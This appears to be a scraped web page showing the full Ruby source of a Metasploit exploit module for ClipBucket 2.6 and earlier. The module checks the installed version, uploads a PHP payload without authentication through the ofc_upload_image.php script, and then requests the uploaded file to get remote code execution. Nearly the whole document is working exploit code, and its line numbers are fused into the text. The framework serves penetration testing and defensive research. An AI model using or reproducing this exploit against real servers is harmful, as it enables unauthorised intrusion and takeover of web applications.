Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info={})12super(update_info(info,13'Name' => "ClipBucket Remote Code Execution",14'Description' => %q{15This module exploits a vulnerability found in ClipBucket version 2.6 and lower.16The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to17upload arbitrary code without any authentication. This module has been tested18on version 2.6 on CentOS 5.9 32-bit.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Gabby', # Vulnerability Discovery, PoC24'xistence <xistence[at]0x90.nl>' # Metasploit module25],26'References' =>27[28[ 'PACKETSTORM', '123480' ]29],30'Platform' => ['php'],31'Arch' => ARCH_PHP,32'Targets' =>33[34['Clipbucket 2.6', {}]35],36'Privileged' => false,37'DisclosureDate' => '2013-10-04',38'DefaultTarget' => 0))3940register_options(41[42OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])43])44end4546def uri47return target_uri.path48end4950def check51# Check version52peer = "#{rhost}:#{rport}"5354vprint_status("Trying to detect installed version")5556res = send_request_cgi({57'method' => 'GET',58'uri' => normalize_uri(uri, "")59})6061if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/62version = $163else64return Exploit::CheckCode::Unknown65end6667vprint_status("Version #{version} detected")6869if version > "2.6"70return Exploit::CheckCode::Safe71else72return Exploit::CheckCode::Appears73end7475return Exploit::CheckCode::Safe76end7778def exploit79peer = "#{rhost}:#{rport}"80payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"8182print_status("Uploading payload [ #{payload_name} ]")83res = send_request_cgi({84'method' => 'POST',85'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),86'headers' => { 'Content-Type' => 'text/plain' },87'vars_get' => { 'name' => payload_name },88'data' => payload.encoded89})9091# If the server returns 200 we assume we uploaded the malicious92# file successfully93if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/94fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")95end9697register_files_for_cleanup(payload_name)9899print_status("Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" )100res = send_request_cgi({101'method' => 'GET',102'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)103})104105# If we don't get a 200 when we request our malicious payload, we suspect106# we don't have a shell, either.107if res and res.code != 200108print_error("Unexpected response, probably the exploit failed")109end110111end112end113114115